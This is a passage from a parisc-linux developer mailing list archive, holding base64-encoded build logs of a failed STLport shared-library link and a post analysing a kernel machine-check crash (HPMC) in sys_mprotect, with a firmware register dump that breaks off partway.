bnUvNC4xLjIvOi91c3IvbGliL2djYy9ocHBhLWxpbnV4LWdudS80LjEuMi8uLi8uLi8uLi8uLi9o
cHBhLWxpbnV4LWdudS9iaW4vCkxJQlJBUllfUEFUSCAgICAgICAgPSAvdXNyL2xpYi9nY2MvaHBw
YS1saW51eC1nbnUvNC4xLjIvOi91c3IvbGliL2djYy9ocHBhLWxpbnV4LWdudS80LjEuMi86L3Vz
ci9saWIvZ2NjL2hwcGEtbGludXgtZ251LzQuMS4yLy4uLy4uLy4uLy4uL2hwcGEtbGludXgtZ251
L2xpYi9ocHBhLWxpbnV4LWdudS80LjEuMi86L3Vzci9saWIvZ2NjL2hwcGEtbGludXgtZ251LzQu
MS4yLy4uLy4uLy4uLy4uL2hwcGEtbGludXgtZ251L2xpYi86L3Vzci9saWIvZ2NjL2hwcGEtbGlu
dXgtZ251LzQuMS4yLy4uLy4uLy4uL2hwcGEtbGludXgtZ251LzQuMS4yLzovdXNyL2xpYi9nY2Mv
aHBwYS1saW51eC1nbnUvNC4xLjIvLi4vLi4vLi4vOi9saWIvaHBwYS1saW51eC1nbnUvNC4xLjIv
Oi9saWIvOi91c3IvbGliL2hwcGEtbGludXgtZ251LzQuMS4yLzovdXNyL2xpYi8KCi91c3IvYmlu
L2xkIC0tZWgtZnJhbWUtaGRyIC1keW5hbWljLWxpbmtlciAvbGliL2xkLnNvLjEgLW8gb2JqL2dj
Yy9zaGFyZWQvbGlic3RscG9ydC5zby41LjAuMiAvdXNyL2xpYi9nY2MvaHBwYS1saW51eC1nbnUv
NC4xLjIvLi4vLi4vLi4vY3J0MS5vIC91c3IvbGliL2djYy9ocHBhLWxpbnV4LWdudS80LjEuMi8u
Li8uLi8uLi9jcnRpLm8gL3Vzci9saWIvZ2NjL2hwcGEtbGludXgtZ251LzQuMS4yL2NydGJlZ2lu
Lm8gLUwvdXNyL2xpYi9nY2MvaHBwYS1saW51eC1nbnUvNC4xLjIgLUwvdXNyL2xpYi9nY2MvaHBw
YS1saW51eC1nbnUvNC4xLjIgLUwvdXNyL2xpYi9nY2MvaHBwYS1saW51eC1nbnUvNC4xLjIvLi4v
Li4vLi4gL3Vzci9saWIvZ2NjL2hwcGEtbGludXgtZ251LzQuMS4yLy4uLy4uLy4uL2NydGkubyAv
dXNyL2xpYi9nY2MvaHBwYS1saW51eC1nbnUvNC4xLjIvY3J0YmVnaW5TLm8gb2JqL2djYy9zaGFy
ZWQvZGxsX21haW4ubyBvYmovZ2NjL3NoYXJlZC9mc3RyZWFtLm8gb2JqL2djYy9zaGFyZWQvc3Ry
c3RyZWFtLm8gb2JqL2djYy9zaGFyZWQvc3N0cmVhbS5vIG9iai9nY2Mvc2hhcmVkL2lvcy5vIG9i
ai9nY2Mvc2hhcmVkL3N0ZGlvX3N0cmVhbWJ1Zi5vIG9iai9nY2Mvc2hhcmVkL2lzdHJlYW0ubyBv
YmovZ2NjL3NoYXJlZC9vc3RyZWFtLm8gb2JqL2djYy9zaGFyZWQvaW9zdHJlYW0ubyBvYmovZ2Nj
L3NoYXJlZC9jb2RlY3Z0Lm8gb2JqL2djYy9zaGFyZWQvY29sbGF0ZS5vIG9iai9nY2Mvc2hhcmVk
L2N0eXBlLm8gb2JqL2djYy9zaGFyZWQvbW9uZXRhcnkubyBvYmovZ2NjL3NoYXJlZC9udW1fZ2V0
Lm8gb2JqL2djYy9zaGFyZWQvbnVtX3B1dC5vIG9iai9nY2Mvc2hhcmVkL251bV9nZXRfZmxvYXQu
byBvYmovZ2NjL3NoYXJlZC9udW1fcHV0X2Zsb2F0Lm8gb2JqL2djYy9zaGFyZWQvbnVtcHVuY3Qu
byBvYmovZ2NjL3NoYXJlZC90aW1lX2ZhY2V0cy5vIG9iai9nY2Mvc2hhcmVkL21lc3NhZ2VzLm8g
b2JqL2djYy9zaGFyZWQvbG9jYWxlX2ltcGwubyBvYmovZ2NjL3NoYXJlZC9sb2NhbGVfY2F0YWxv
Zy5vIG9iai9nY2Mvc2hhcmVkL2ZhY2V0c19ieW5hbWUubyBvYmovZ2NjL3NoYXJlZC9jb21wbGV4
Lm8gb2JqL2djYy9zaGFyZWQvY29tcGxleF9leHAubyBvYmovZ2NjL3NoYXJlZC9jb21wbGV4X2lv
Lm8gb2JqL2djYy9zaGFyZWQvY29tcGxleF90cmlnLm8gb2JqL2djYy9zaGFyZWQvY29tcGxleF9p
b193Lm8gb2JqL2djYy9zaGFyZWQvc3RyaW5nX3cubyBvYmovZ2NjL3NoYXJlZC9jX2xvY2FsZS5v
IG9iai9nY2Mvc2hhcmVkL2N4YS5vIC0td2hvbGUtYXJjaGl2ZSAtbHN1cGMrKyAtLW5vLXdob2xl
LWFyY2hpdmUgLWxnY2NfcyAtbHB0aHJlYWQgL3Vzci9saWIvZ2NjL2hwcGEtbGludXgtZ251LzQu
MS4yL2NydGVuZFMubyAvdXNyL2xpYi9nY2MvaHBwYS1saW51eC1nbnUvNC4xLjIvLi4vLi4vLi4v
Y3J0bi5vIC1sc3RkYysrIC1sbSAtbGMgLWxnY2NfcyAtbGdjYyAtbHB0aHJlYWQgLWxnY2MgLWxj
IC1sZ2NjX3MgLWxnY2MgL3Vzci9saWIvZ2NjL2hwcGEtbGludXgtZ251LzQuMS4yL2NydGVuZC5v
IC91c3IvbGliL2djYy9ocHBhLWxpbnV4LWdudS80LjEuMi8uLi8uLi8uLi9jcnRuLm8KL3Vzci9s
aWIvZ2NjL2hwcGEtbGludXgtZ251LzQuMS4yLy4uLy4uLy4uL2NydGkubzogSW4gZnVuY3Rpb24g
YF9pbml0JzoKL2hvbWUvYXVyZWwzMi9nbGliYy0yLjMuNi5kczEvYnVpbGQtdHJlZS9ocHBhLWxp
YmMvY3N1L2NydGkuUzoxMzogbXVsdGlwbGUgZGVmaW5pdGlvbiBvZiBgX2luaXQnCi91c3IvbGli
L2djYy9ocHBhLWxpbnV4LWdudS80LjEuMi8uLi8uLi8uLi9jcnRpLm86L2hvbWUvYXVyZWwzMi9n
bGliYy0yLjMuNi5kczEvYnVpbGQtdHJlZS9ocHBhLWxpYmMvY3N1L2NydGkuUzoxMzogZmlyc3Qg
ZGVmaW5lZCBoZXJlCi91c3IvbGliL2djYy9ocHBhLWxpbnV4LWdudS80LjEuMi8uLi8uLi8uLi9j
cnRpLm86IEluIGZ1bmN0aW9uIGBfZmluaSc6Ci9ob21lL2F1cmVsMzIvZ2xpYmMtMi4zLjYuZHMx
L2J1aWxkLXRyZWUvaHBwYS1saWJjL2NzdS9jcnRpLlM6MjY6IG11bHRpcGxlIGRlZmluaXRpb24g
b2YgYF9maW5pJwovdXNyL2xpYi9nY2MvaHBwYS1saW51eC1nbnUvNC4xLjIvLi4vLi4vLi4vY3J0
aS5vOi9ob21lL2F1cmVsMzIvZ2xpYmMtMi4zLjYuZHMxL2J1aWxkLXRyZWUvaHBwYS1saWJjL2Nz
dS9jcnRpLlM6MjY6IGZpcnN0IGRlZmluZWQgaGVyZQovdXNyL2xpYi9nY2MvaHBwYS1saW51eC1n
bnUvNC4xLjIvY3J0YmVnaW5TLm86KC5kYXRhLnJlbCsweDApOiBtdWx0aXBsZSBkZWZpbml0aW9u
IG9mIGBfX2Rzb19oYW5kbGUnCi91c3IvbGliL2djYy9ocHBhLWxpbnV4LWdudS80LjEuMi9jcnRi
ZWdpbi5vOiguZGF0YSsweDApOiBmaXJzdCBkZWZpbmVkIGhlcmUKL3Vzci9saWIvZ2NjL2hwcGEt
bGludXgtZ251LzQuMS4yLy4uLy4uLy4uL2NydDEubzogSW4gZnVuY3Rpb24gYF9zdGFydCc6Ci4u
L3N5c2RlcHMvaHBwYS9lbGYvc3RhcnQuUzo1NjogdW5kZWZpbmVkIHJlZmVyZW5jZSB0byBgbWFp
bicKLi4vc3lzZGVwcy9ocHBhL2VsZi9zdGFydC5TOjU3OiB1bmRlZmluZWQgcmVmZXJlbmNlIHRv
IGBtYWluJwpjb2xsZWN0MjogbGQgcmV0dXJuZWQgMSBleGl0IHN0YXR1cwpbTGVhdmluZyAvdG1w
L2NjaW1tdHpKLmNdCltMZWF2aW5nIC90bXAvY2NxeXlNWWkub10KW0xlYXZpbmcgL3RtcC9jY00z
bUFqUy5sZF0KW0xlYXZpbmcgL3RtcC9jYzh5Ym9Fci5sZV0KW0xlYXZpbmcgb2JqL2djYy9zaGFy
ZWQvbGlic3RscG9ydC5zby41LjAuMl0KbWFrZVsxXTogKioqIFtvYmovZ2NjL3NoYXJlZC9saWJz
dGxwb3J0LnNvLjUuMC4yXSBFcnJvciAxCm1ha2VbMV06IExlYXZpbmcgZGlyZWN0b3J5IGAvaG9t
ZS90d2VybmVyL3N0bHBvcnQ1LTUuMC4yL2J1aWxkL2xpYicKbWFrZTogKioqIFtkZWJpYW4vc3Rh
bXAtbWFrZWZpbGUtYnVpbGRdIEVycm9yIDIKCg==
------=_Part_70633_4369338.1157058322684
Content-Type: application/octet-stream; name=stlport2
Content-Transfer-Encoding: base64
X-Attachment-Id: f_erjmls5l
Content-Disposition: attachment; filename="stlport2"

YysrIC1wdGhyZWFkIC1mZXhjZXB0aW9ucyAtZmlkZW50ICAtZlBJQyAtTzIgLWcgLWZ1c2UtY3hh
LWF0ZXhpdCAgLURfU1RMUF9SRUFMX0xPQ0FMRV9JTVBMRU1FTlRFRCAtRF9HTlVfU09VUkNFIC1J
Li4vLi4vc3RscG9ydCAtSS9leHBvcnQvaG9tZS9wdHIvd29ya3Nob3AvZXh0ZXJuL2Jvb3N0IC12
LCAtV2wsLXYgIC1vIG9iai9nY2Mvc2hhcmVkL2xpYnN0bHBvcnQuc28uNS4wLjIgL3Vzci9saWIv
Z2NjL2hwcGEtbGludXgtZ251LzQuMS4yLy4uLy4uLy4uL2NydGkubyAvdXNyL2xpYi9nY2MvaHBw
YS1saW51eC1nbnUvNC4xLjIvY3J0YmVnaW5TLm8gb2JqL2djYy9zaGFyZWQvZGxsX21haW4ubyBv
YmovZ2NjL3NoYXJlZC9mc3RyZWFtLm8gb2JqL2djYy9zaGFyZWQvc3Ryc3RyZWFtLm8gb2JqL2dj
Yy9zaGFyZWQvc3N0cmVhbS5vIG9iai9nY2Mvc2hhcmVkL2lvcy5vIG9iai9nY2Mvc2hhcmVkL3N0
ZGlvX3N0cmVhbWJ1Zi5vIG9iai9nY2Mvc2hhcmVkL2lzdHJlYW0ubyBvYmovZ2NjL3NoYXJlZC9v
c3RyZWFtLm8gb2JqL2djYy9zaGFyZWQvaW9zdHJlYW0ubyBvYmovZ2NjL3NoYXJlZC9jb2RlY3Z0
Lm8gb2JqL2djYy9zaGFyZWQvY29sbGF0ZS5vIG9iai9nY2Mvc2hhcmVkL2N0eXBlLm8gb2JqL2dj
Yy9zaGFyZWQvbW9uZXRhcnkubyBvYmovZ2NjL3NoYXJlZC9udW1fZ2V0Lm8gb2JqL2djYy9zaGFy
ZWQvbnVtX3B1dC5vIG9iai9nY2Mvc2hhcmVkL251bV9nZXRfZmxvYXQubyBvYmovZ2NjL3NoYXJl
ZC9udW1fcHV0X2Zsb2F0Lm8gb2JqL2djYy9zaGFyZWQvbnVtcHVuY3QubyBvYmovZ2NjL3NoYXJl
ZC90aW1lX2ZhY2V0cy5vIG9iai9nY2Mvc2hhcmVkL21lc3NhZ2VzLm8gb2JqL2djYy9zaGFyZWQv
bG9jYWxlX2ltcGwubyBvYmovZ2NjL3NoYXJlZC9sb2NhbGVfY2F0YWxvZy5vIG9iai9nY2Mvc2hh
cmVkL2ZhY2V0c19ieW5hbWUubyBvYmovZ2NjL3NoYXJlZC9jb21wbGV4Lm8gb2JqL2djYy9zaGFy
ZWQvY29tcGxleF9leHAubyBvYmovZ2NjL3NoYXJlZC9jb21wbGV4X2lvLm8gb2JqL2djYy9zaGFy
ZWQvY29tcGxleF90cmlnLm8gb2JqL2djYy9zaGFyZWQvY29tcGxleF9pb193Lm8gb2JqL2djYy9z
aGFyZWQvc3RyaW5nX3cubyBvYmovZ2NjL3NoYXJlZC9jX2xvY2FsZS5vIG9iai9nY2Mvc2hhcmVk
L2N4YS5vICAtV2wsLS13aG9sZS1hcmNoaXZlIC1sc3VwYysrICAtV2wsLS1uby13aG9sZS1hcmNo
aXZlIC1sZ2NjX3MgLWxwdGhyZWFkIC1sYyAtbG0gL3Vzci9saWIvZ2NjL2hwcGEtbGludXgtZ251
LzQuMS4yL2NydGVuZFMubyAvdXNyL2xpYi9nY2MvaHBwYS1saW51eC1nbnUvNC4xLjIvLi4vLi4v
Li4vY3J0bi5vCmMrKzogdW5yZWNvZ25pemVkIG9wdGlvbiAnLXYsJwpjb2xsZWN0MiB2ZXJzaW9u
IDQuMS4yIDIwMDYwODE0IChwcmVyZWxlYXNlKSAoRGViaWFuIDQuMS4xLTExKSAoaHBwYSkKL3Vz
ci9iaW4vbGQgLS1laC1mcmFtZS1oZHIgLWR5bmFtaWMtbGlua2VyIC9saWIvbGQuc28uMSAtbyBv
YmovZ2NjL3NoYXJlZC9saWJzdGxwb3J0LnNvLjUuMC4yIC91c3IvbGliL2djYy9ocHBhLWxpbnV4
LWdudS80LjEuMi8uLi8uLi8uLi9jcnQxLm8gL3Vzci9saWIvZ2NjL2hwcGEtbGludXgtZ251LzQu
MS4yLy4uLy4uLy4uL2NydGkubyAvdXNyL2xpYi9nY2MvaHBwYS1saW51eC1nbnUvNC4xLjIvY3J0
YmVnaW4ubyAtTC91c3IvbGliL2djYy9ocHBhLWxpbnV4LWdudS80LjEuMiAtTC91c3IvbGliL2dj
Yy9ocHBhLWxpbnV4LWdudS80LjEuMiAtTC91c3IvbGliL2djYy9ocHBhLWxpbnV4LWdudS80LjEu
Mi8uLi8uLi8uLiAtdiAvdXNyL2xpYi9nY2MvaHBwYS1saW51eC1nbnUvNC4xLjIvLi4vLi4vLi4v
Y3J0aS5vIC91c3IvbGliL2djYy9ocHBhLWxpbnV4LWdudS80LjEuMi9jcnRiZWdpblMubyBvYmov
Z2NjL3NoYXJlZC9kbGxfbWFpbi5vIG9iai9nY2Mvc2hhcmVkL2ZzdHJlYW0ubyBvYmovZ2NjL3No
YXJlZC9zdHJzdHJlYW0ubyBvYmovZ2NjL3NoYXJlZC9zc3RyZWFtLm8gb2JqL2djYy9zaGFyZWQv
aW9zLm8gb2JqL2djYy9zaGFyZWQvc3RkaW9fc3RyZWFtYnVmLm8gb2JqL2djYy9zaGFyZWQvaXN0
cmVhbS5vIG9iai9nY2Mvc2hhcmVkL29zdHJlYW0ubyBvYmovZ2NjL3NoYXJlZC9pb3N0cmVhbS5v
IG9iai9nY2Mvc2hhcmVkL2NvZGVjdnQubyBvYmovZ2NjL3NoYXJlZC9jb2xsYXRlLm8gb2JqL2dj
Yy9zaGFyZWQvY3R5cGUubyBvYmovZ2NjL3NoYXJlZC9tb25ldGFyeS5vIG9iai9nY2Mvc2hhcmVk
L251bV9nZXQubyBvYmovZ2NjL3NoYXJlZC9udW1fcHV0Lm8gb2JqL2djYy9zaGFyZWQvbnVtX2dl
dF9mbG9hdC5vIG9iai9nY2Mvc2hhcmVkL251bV9wdXRfZmxvYXQubyBvYmovZ2NjL3NoYXJlZC9u
dW1wdW5jdC5vIG9iai9nY2Mvc2hhcmVkL3RpbWVfZmFjZXRzLm8gb2JqL2djYy9zaGFyZWQvbWVz
c2FnZXMubyBvYmovZ2NjL3NoYXJlZC9sb2NhbGVfaW1wbC5vIG9iai9nY2Mvc2hhcmVkL2xvY2Fs
ZV9jYXRhbG9nLm8gb2JqL2djYy9zaGFyZWQvZmFjZXRzX2J5bmFtZS5vIG9iai9nY2Mvc2hhcmVk
L2NvbXBsZXgubyBvYmovZ2NjL3NoYXJlZC9jb21wbGV4X2V4cC5vIG9iai9nY2Mvc2hhcmVkL2Nv
bXBsZXhfaW8ubyBvYmovZ2NjL3NoYXJlZC9jb21wbGV4X3RyaWcubyBvYmovZ2NjL3NoYXJlZC9j
b21wbGV4X2lvX3cubyBvYmovZ2NjL3NoYXJlZC9zdHJpbmdfdy5vIG9iai9nY2Mvc2hhcmVkL2Nf
bG9jYWxlLm8gb2JqL2djYy9zaGFyZWQvY3hhLm8gLS13aG9sZS1hcmNoaXZlIC1sc3VwYysrIC0t
bm8td2hvbGUtYXJjaGl2ZSAtbGdjY19zIC1scHRocmVhZCAvdXNyL2xpYi9nY2MvaHBwYS1saW51
eC1nbnUvNC4xLjIvY3J0ZW5kUy5vIC91c3IvbGliL2djYy9ocHBhLWxpbnV4LWdudS80LjEuMi8u
Li8uLi8uLi9jcnRuLm8gLWxzdGRjKysgLWxtIC1sYyAtbGdjY19zIC1sZ2NjIC1scHRocmVhZCAt
bGdjYyAtbGMgLWxnY2NfcyAtbGdjYyAvdXNyL2xpYi9nY2MvaHBwYS1saW51eC1nbnUvNC4xLjIv
Y3J0ZW5kLm8gL3Vzci9saWIvZ2NjL2hwcGEtbGludXgtZ251LzQuMS4yLy4uLy4uLy4uL2NydG4u
bwpHTlUgbGQgdmVyc2lvbiAyLjE3IERlYmlhbiBHTlUvTGludXgKL3Vzci9saWIvZ2NjL2hwcGEt
bGludXgtZ251LzQuMS4yLy4uLy4uLy4uL2NydGkubzogSW4gZnVuY3Rpb24gYF9pbml0JzoKL2hv
bWUvYXVyZWwzMi9nbGliYy0yLjMuNi5kczEvYnVpbGQtdHJlZS9ocHBhLWxpYmMvY3N1L2NydGku
UzoxMzogbXVsdGlwbGUgZGVmaW5pdGlvbiBvZiBgX2luaXQnCi91c3IvbGliL2djYy9ocHBhLWxp
bnV4LWdudS80LjEuMi8uLi8uLi8uLi9jcnRpLm86L2hvbWUvYXVyZWwzMi9nbGliYy0yLjMuNi5k
czEvYnVpbGQtdHJlZS9ocHBhLWxpYmMvY3N1L2NydGkuUzoxMzogZmlyc3QgZGVmaW5lZCBoZXJl
Ci91c3IvbGliL2djYy9ocHBhLWxpbnV4LWdudS80LjEuMi8uLi8uLi8uLi9jcnRpLm86IEluIGZ1
bmN0aW9uIGBfZmluaSc6Ci9ob21lL2F1cmVsMzIvZ2xpYmMtMi4zLjYuZHMxL2J1aWxkLXRyZWUv
aHBwYS1saWJjL2NzdS9jcnRpLlM6MjY6IG11bHRpcGxlIGRlZmluaXRpb24gb2YgYF9maW5pJwov
dXNyL2xpYi9nY2MvaHBwYS1saW51eC1nbnUvNC4xLjIvLi4vLi4vLi4vY3J0aS5vOi9ob21lL2F1
cmVsMzIvZ2xpYmMtMi4zLjYuZHMxL2J1aWxkLXRyZWUvaHBwYS1saWJjL2NzdS9jcnRpLlM6MjY6
IGZpcnN0IGRlZmluZWQgaGVyZQovdXNyL2xpYi9nY2MvaHBwYS1saW51eC1nbnUvNC4xLjIvY3J0
YmVnaW5TLm86KC5kYXRhLnJlbCsweDApOiBtdWx0aXBsZSBkZWZpbml0aW9uIG9mIGBfX2Rzb19o
YW5kbGUnCi91c3IvbGliL2djYy9ocHBhLWxpbnV4LWdudS80LjEuMi9jcnRiZWdpbi5vOiguZGF0
YSsweDApOiBmaXJzdCBkZWZpbmVkIGhlcmUKL3Vzci9saWIvZ2NjL2hwcGEtbGludXgtZ251LzQu
MS4yLy4uLy4uLy4uL2NydDEubzogSW4gZnVuY3Rpb24gYF9zdGFydCc6Ci4uL3N5c2RlcHMvaHBw
YS9lbGYvc3RhcnQuUzo1NjogdW5kZWZpbmVkIHJlZmVyZW5jZSB0byBgbWFpbicKLi4vc3lzZGVw
cy9ocHBhL2VsZi9zdGFydC5TOjU3OiB1bmRlZmluZWQgcmVmZXJlbmNlIHRvIGBtYWluJwpjb2xs
ZWN0MjogbGQgcmV0dXJuZWQgMSBleGl0IHN0YXR1cwptYWtlWzFdOiAqKiogW29iai9nY2Mvc2hh
cmVkL2xpYnN0bHBvcnQuc28uNS4wLjJdIEVycm9yIDEKbWFrZVsxXTogTGVhdmluZyBkaXJlY3Rv
cnkgYC9ob21lL3R3ZXJuZXIvc3RscG9ydDUtNS4wLjIvYnVpbGQvbGliJwptYWtlOiAqKiogW2Rl
Ymlhbi9zdGFtcC1tYWtlZmlsZS1idWlsZF0gRXJyb3IgMgoK
------=_Part_70633_4369338.1157058322684
Content-Type: text/plain; charset="us-ascii"
MIME-Version: 1.0
Content-Transfer-Encoding: 7bit
Content-Disposition: inline

_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux
------=_Part_70633_4369338.1157058322684--



From - Thu Nov 08 21:36:53 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthew Wilcox <matthew@wil.cx>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Latest palinux crash -- VM problem?
Date: Sat, 2 Sep 2006 23:00:52 -0600
Lines: 261
Approved: news@gmane.org
Message-ID: <20060903050051.GA2558@parisc-linux.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=us-ascii
X-Trace: ger.gmane.org 1416624598 27649 80.91.229.3 (22 Nov 2014 02:49:58 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:49:58 +0000 (UTC)
To: parisc-linux@parisc-linux.org
Original-X-From: - Wed Jul 02 21:28:20 2014
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 03 Sep 2006 05:01:01 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx017) with SMTP; 03 Sep 2006 07:01:01 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 553D47D7F9;
	Sat,  2 Sep 2006 23:00:58 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 15071-06; Sat, 2 Sep 2006 23:00:58 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id A3DCB7D7FB;
	Sat,  2 Sep 2006 23:00:56 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id D91F57D7F0
	for <parisc-linux@lists.parisc-linux.org>;
	Sat,  2 Sep 2006 23:00:53 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 15071-03 for <parisc-linux@lists.parisc-linux.org>;
	Sat, 2 Sep 2006 23:00:52 -0600 (MDT)
Original-Received: from mail.parisc-linux.org (palinux.external.hp.com [192.25.206.14])
	by free.linux.hp.com (Postfix) with ESMTP id AC3357D7E7
	for <parisc-linux@lists.parisc-linux.org>;
	Sat,  2 Sep 2006 23:00:52 -0600 (MDT)
Original-Received: by mail.parisc-linux.org (Postfix)
	id 57E0549400B; Sat,  2 Sep 2006 23:00:52 -0600 (MDT)
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: by mail.parisc-linux.org (Postfix, from userid 26919)
	id 41E7649400A; Sat,  2 Sep 2006 23:00:52 -0600 (MDT)
Content-Disposition: inline
User-Agent: Mutt/1.5.13 (2006-08-11)
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: 7g2RLBktTlIvULeQeGhruyFGU2poZVmU
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:25305


We hit an HPMC earlier this evening running 2.6.18-rc5-pa1 on palinux.
Here's my analysis (I'll attach the raw data to the end).

The MCA dump fingers this culprit:

IIA Space (back entry)       = 0x0000000000000000
IIA Offset (back entry)      = 0x0000000010198ba4

The offset lands in sys_mprotect().  Specifically, it's the call to
flush_tlb_range() in the (inlined) change_protection() function:

    10198ba4:   04 e0 52 00     pdtlb r0(sr1,r7)
    10198ba8:   37 9c 00 02     ldo 1(ret0),ret0
    10198bac:   bf 85 3f e5     cmpb,*<> r5,ret0,10198ba4 <sys_mprotect+0x7fc>
    10198bb0:   34 e7 20 00     ldo 1000(r7),r7

At this point, there are two reasonable hypotheses:

1. Bad hardware
2. Bad software

The memory error log indicates an uncorrectable error, unfortuantely I
don't understand it enough to decode what it's saying.

Could it be a different manifestation of the same problem that bites
PA8800?  That is, do we have the same address mapped twice and we're
upsetting Astro by writing back cachelines that are supposed to be on
the other CPU?

I should probably try to find Astro docs at some point so I can find out
how much it cares about this kind of thing.


The HPMC log:

Service Menu: Enter command > pim 0 hpmc

FIRMWARE INFORMATION

   Firmware Version:          41.10


PROCESSOR PIM INFORMATION


-----------------  Processor 0 HPMC Information - PDC Version: 41.10  ------ 

Timestamp =    Sun Sep  3 03:06:18 GMT 2006    (20:06:09:03:03:06:18)

HPMC Chassis Codes 

       Chassis Code        Extension 
       ------------        --------- 
       0x0000082000ff6242  0x0000000000000000
       0x1800082011006312  0xcb81000000000000
       0x0000087000ff6292  0x000000f0f0000000
       0x6000082070006062  0x0000000000000010
       0x7000082070006082  0x0000000000392400
       0x7000082379006133  0xc1bff0fffed08040
       0x0000080080006310  0x0000000000000001
       0x000008008000631f  0x0000000000000000
       0x0000082000ff6452  0x0000000000000000
       0x0000082000ff6402  0x0000000000000000
       0x0000080080006300  0x0000000000000001
       0x7000082382006343  0x0000000000070200
       0x7000082382026343  0x0000000000070200
       0x7000082382046343  0x0000000000070200
       0x7000082382066343  0x0000000000070200
       0x0000080089006200  0x0000000000000000
       0x0000080086006200  0x0000000000000000
       0x000008008000630f  0x0000000000000000
       

General Registers 0 - 31
00-03  0000000000000000  00000000105b60c0  0000000010198af0  000000009fe7ce58
04-07  00000000105a78c0  00000000000000d3  0000000040c00000  0000000040bd7000
08-11  0000000040caa000  0000000040caa000  0000000040caa000  00000000d0c9881c
12-15  0000000000000070  0000000040ca9fff  0000000040ca9fff  0000000000000b00
16-19  00000000000e1e00  00000000d0c9a004  00000000a096c3c0  0000000010000000
20-23  00000000facc8b40  0000000000000000  0000000000000000  0000000000000040
24-27  000000009fe7ce98  0000000040caa000  0000000010478000  00000000105a78c0
28-31  0000000000000001  0000000015fa0270  0000000015fa02b0  0000000000000000


Control Registers 0 - 31
00-03  0000000000000000  0000000000000000  0000000000000000  0000000000000000
04-07  0000000000000000  0000000000000000  0000000000000000  0000000000000000
08-11  000000000000db78  0000000000000000  00000000000000c0  0000000000000038
12-15  0000000000000000  0000000000000000  0000000000103000  ffc0000000000000
16-19  000011f2605064fd  0000000000000000  0000000010198bb0  0000000034e72000
20-23  0000000010240001  000000001e078000  000000ff080cef0f  8000000000000000
24-27  0000000000511000  00000000c0c9a000  0000000000041020  5555555555555555
28-31  000000f0f015e700  5555555555555555  0000000015fa0000  0000000010568000

Space Registers 0 - 7
00-03  036de000          036de000          00000000          036de000
04-07  00000000          00000000          00000000          00000000


IIA Space (back entry)       = 0x0000000000000000
IIA Offset (back entry)      = 0x0000000010198ba4
Check Type                   = 0x20000000
CPU State                    = 0x9e000004
Cache Check                  = 0x00000000
TLB Check                    = 0x00000000
Bus Check                    = 0x0010c03b
Assists Check                = 0x00000000
Assist State                 = 0x00000000
Path Info                    = 0x00000000
System Responder Address     = 0x0000000000000000
System Requestor Address     = 0xfffffffffffa0000


Floating Point Registers 0 - 31
00-03  0000000000000000  0000000000000000  0000000000000000  0000000000000000
04-07  0000000010d48098  0000000010000000  0000080300000000  000000004fae8ac0
08-11  0000000000000000  00000000105a78c0  ffffffffffffff9c  0000000000000000
12-15  c06f020000000802  403cf49114843c00  40000e7014843c10  00000000105a78c0
16-19  0000000000000000  0000000000000001  00000000105b48c0  0000000010603000
20-23  0000000010453d80  00000000105487f0  0000000000000244  00000244a8b90fc5
24-27  0000000100000000  00000000105b70c0  00000000105a78c0  0000000000000802
28-31  0000000010143a08  00000000104f32c0  0000000017c841c0  0000000014844108


Check Summary                = 0xcb81000000000000
Available Memory             = 0x0000000100000000
CPU Diagnose Register 2      = 0x0301000000802004
CPU Status Register 0        = 0x2440c20000000000
CPU Status Register 1        = 0x8000200000000000
SADD LOG                     = 0x141ffcffffffffff
Read Short LOG               = 0xc10080fff800a014


--------------  Memory Error Log Information  --------------

Bus 0 Log Information

Timestamp =    Sun Sep  3 03:06:18 GMT 2006    (20:06:09:03:03:06:18)
